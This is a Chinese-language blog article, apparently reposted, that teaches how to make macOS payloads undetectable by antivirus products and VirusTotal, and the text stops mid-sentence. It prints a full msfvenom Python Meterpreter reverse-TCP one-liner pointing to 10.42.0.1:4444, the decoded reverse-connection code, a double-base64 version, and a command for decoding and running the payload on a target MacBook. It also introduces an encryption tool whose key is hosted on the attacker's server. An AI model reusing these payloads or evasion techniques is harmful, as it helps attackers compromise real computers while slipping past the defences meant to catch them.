未加星标

如何创建无法检测的有效载荷

字体大小 | |
[开发(python) 所属分类 开发(python) | 发布者 店小二04 | 时间 2018 | 作者 红领巾 ] 0人收藏点击收藏

如何创建无法检测的有效载荷

在macOS中进行对有效载荷加密并对传输器(stager)进行编码,就可以创建无法检测的有效载荷。此外,使用一些简单的技巧,就可以很容易的躲过VirusTotal和macOS杀毒软件。

本文的目标是找到一个已知且易于被检测到的macOS有效载荷,然后再通过一种方法,允许我们在目标MacBook上执行相同的有效载荷。通过这个测试,我们可以确认所创建的有效载荷在运行时是否可以成功绕过杀毒软件的检测。在本文的测试中,除了在VirusTotal测试我们所创建的恶意文件外,我们还在macOS Mojave(v10.14)中针对流行的杀毒软件(如Avast,AVG,BitDefender,Sophos和ClamXAV)进行了测试。

需要注意的是:这篇文章的目的不是教大家如何绕过GateKeeper或系统完整性保护(SIP),因为执行未签名的应用程序和绕过病毒扫描程序是两个不同的技术方向。本文的重点是教大家如何避免被杀毒软件和VirusTotal检测到。在接下来的分析中,你会发现,本文在大多数情况下,只需通过简单的编码有效载荷就足以绕过杀毒软件的检测。在此,你可以阅读 《如何在没有密码的情况下进行目标的windows系统设备》 。

Base64编码的基础知识

通常情况下,通过编码的方式来绕过杀毒软件的检测,是一个很不可取的方式,因为这种方式很容易被解码和识别,隐蔽性不是很好。但是,对python和Bash脚本进行编码是Empire和msfvenom等项目中的常见做法,以允许编码器执行复杂的脚本,而不必担心转义可能导致的有效载荷中断或出现无法识别的特殊字符。

现在让我们看看下面的字符串:

echo 'one' | base64
b25lCg==
echo 'one two' | base64
b25lIHR3bwo=
echo 'one two three' | base64
b25lIHR3byB0aHJlZQo=
echo 'one two three four' | base64
b25lIHR3byB0aHJlZSBmb3VyCg==
echo 'one two three four five' | base64
b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK

使用下面的命令可以很容易的解码所有字符串(Kali中的-d, macOS中的-d):

base64 -d <<< 'b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK'

请注意:字符串的开头总是一样的,而结尾会有细微的变化,其实大多数msfvenom有效载荷也是如此。如果仅更改IP地址和端口号,则每个黑客和测试者使用msfvenom生成的base64编码有效载荷的开头始终相同。下面是msfvenom使用IP地址“10.42.0.1”创建的示例。

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=

以下的msfvenom输出使用了和以上示例相同的有效载荷,但是IP地址不同,为“192.168.0.2”。

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4yJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==

无论使用什么IP和端口,在使用这个msfvenom有效载荷时,前142个字符始终相同。如果没有对恶意代码进行解码和分析,那么杀毒软件检测时常见的base64字符串至少看起来是合理的 ,而如果一旦解码和分析,这些看起来合理的字符串里就隐含了不少猫腻。在此,你可以阅读 《如何使用Jedi Mind Tricks的思维技巧破解WPA2 Wi-Fi密码》 。

对有效载荷的单次Base64编码

信不信由你,找到VirusTotal和杀毒软件可以检测到的恶意文件是一个挑战。在网上搜索了一些关于如何攻击macOS的流行文章之后,我才找到了一个简单的 msfvenom有效载荷 。执行其中的命令产生的输出以下:

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
Payload size: 446 bytes
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

这是一个经过base64编码的Python单行程序,其目的就是实现与Metasploit交互。将该行程序保存到名为“thisfileisevil.py”的文件,并将其上传到VirusTotal进行绕过检测,发现被检测到的概率仅为4/58。


如何创建无法检测的有效载荷

这就意味着,一般情况下,是没有杀毒软件能检测到该文件。而对嵌入的base64字符串进行解码,你可以清楚的看到,Python脚本旨在用于连接端口4444上的远程服务器(10.42.0.1)。

base64 -d <<< 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo='
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('10.42.0.1',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})

将上面解码的Python代码保存到名为“thisfileisevil_without_encoding.py”的文件中并将其上传到VirusTotal,发现被检测到的概率仅为1/56。


如何创建无法检测的有效载荷

有趣的是,原始Python代码被检测到的概率更低。

不过目前,我们还不是很清楚VirusTotal和杀毒软件究竟在尝试检测什么。他们既没有很好的解码base64字符串,也没有标记msfvenom生成的13行Python代码,而这些代码多年来已经被不同的测试者和黑客使用了无数次了。在此,我建议你阅读 《如何自动对Nmap扫描进行暴力攻击》 。

对有效载荷的双重Base64编码

如果能够使用一个通用的Base64方式编码有效载荷,以绕过大多数杀毒软件,那么对它进行双重编码岂不是更有效,被检测到的概率岂不是更低。经过实际测试,并不是这样,在我们对编码后的msfvenom输出内容进行再次编码,并将其上传到VirusTotal,发现被检测到的概率仅为1/54。


如何创建无法检测的有效载荷

我们在微软的运行环境中,发现被检测到的概率仅为1/54,这对在macOS中创建无法检测的有效载荷是没有任何帮助的。因为这是通过对msfvenom输出进行再次编码实现的,与之前检测到的msfvenom载荷完全相同。

cat thisfileisevil.py | base64
aW1wb3J0IGJhc2U2NCxzeXM7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHsyOnN0ciwzOmxhbWJkYSBi
OmJ5dGVzKGIsJ1VURi04Jyl9W3N5cy52ZXJzaW9uX2luZm9bMF1dKCdhVzF3YjNKMElITnZZMnRs
ZEN4emRISjFZM1FzZEdsdFpRcG1iM0lnZUNCcGJpQnlZVzVuWlNneE1DazZDZ2wwY25rNkNna0pj
ejF6YjJOclpYUXVjMjlqYTJWMEtESXNjMjlqYTJWMExsTlBRMHRmVTFSU1JVRk5LUW9KQ1hNdVky
OXVibVZqZENnb0p6RXdMalF5TGpBdU1TY3NORFEwTkNrcENna0pZbkpsWVdzS0NXVjRZMlZ3ZERv
S0NRbDBhVzFsTG5Oc1pXVndLRFVwQ213OWMzUnlkV04wTG5WdWNHRmpheWduUGtrbkxITXVjbVZq
ZGlnMEtTbGJNRjBLWkQxekxuSmxZM1lvYkNrS2QyaHBiR1VnYkdWdUtHUXBQR3c2Q2dsa0t6MXpM
bkpsWTNZb2JDMXNaVzRvWkNrcENtVjRaV01vWkN4N0ozTW5Pbk45S1FvPScpKSkK

可以使用以下命令在目标MacBook中执行这个msfvenom载荷:

python -c "$(printf '%s' 'ENCODED-PAYLOAD-HERE' | base64 -D)"

此时,printf和base64正在使用MacBook去解码(-D)字符串并立即用Python执行命令(-c) ,其目的就是再次解码内部有效载荷并创建反向TCP连接。

不过,令我们惊讶的是,VirusTotal和流行的杀毒软件都无法检测到这种绕过方式,没有一个经过测试的杀毒软件能够以文本文件或AppleScript的形式检测到经过双重编码的有效载荷。在此,请你阅读 《如何使用Nmap脚本轻松检测CVE》 。

对有效载荷进行加密

如上所述,我们已经了解了经过单次编码和双重编码的有效载荷,将会绕过大多数杀毒软件的检测(尽管使用原始代码更好)。可见,脚本编码和有效载荷仍是杀毒软件的开发人员最疼头的问题。 但是,AVG或Avast的某些开发人员却声称他们的扫描程序已经开始通过递归解码base64字符串的方式,来寻找常见的编码签名。

这个说法反而让我们想到了一种绕过macOS杀毒软件的更可靠的方法,该方法更难以检测和预防。具体过程就是除了对有效载荷进行编码外,还会对其进行加密,使杀毒软件更难以对其进行解码检测。

为什么有效载荷编码后还要对其进行加密?

这是因为编码的主要缺点是杀毒软件能够连续解码base64字符串并轻松发现嵌入其中的有效载荷。无论攻击者编码其有效载荷多少次,杀毒软件都可以将其进行逆向分析。而通过加密有效载荷,杀毒软件将找到的只是一串不可读的数据。 另外,杀毒软件是无法扫描经过加密的有效载荷的,并且经过加密的有效载荷也不会被安全人员读取 ,除非他们知道了解密密钥。

这让我想起了 Armor ,Armor是一个简单的Bash脚本,旨在创建能够绕过杀毒扫描程序的加密macOS有效载荷。

以下我会创建一个简单的shell脚本,用于说明如何自动加密macOS有效载荷并执行恶意攻击。

Armor脚本如何工作

Armor将加密它给出的任何文件的内容,该文件可以是一行代码,也可以是包含数百行代码的复杂Python脚本,或者是由macOS支持的任何编程语言编写的post-exploitation (后漏洞利用阶段)脚本。文件内容使用一次性密钥加密。然后,密钥临时托管在攻击者的服务器上,并由目标MacBook下载以解密有效载荷。

下面是Armor与简单的Netcat有效载荷一起使用的示例。


如何创建无法检测的有效载荷
至于其中的具体过程,我将在以下内容中按着步骤,每一步都给你讲清楚。不过大致过程是这样的:Netcat侦听器在端口4444上被启动,之后“payload.txt”文件被读取并显示为包含一个简单的Bash单行程序,当执行该程序时,攻击者就会在Netcat侦听器和目标M

本文开发(python)相关术语:python基础教程 python多线程 web开发工程师 软件开发工程师 软件开发流程

代码区博客精选文章
分页:12
转载请注明
本文标题:如何创建无法检测的有效载荷
本站链接:https://www.codesec.net/view/620993.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 开发(python) | 评论(0) | 阅读(146)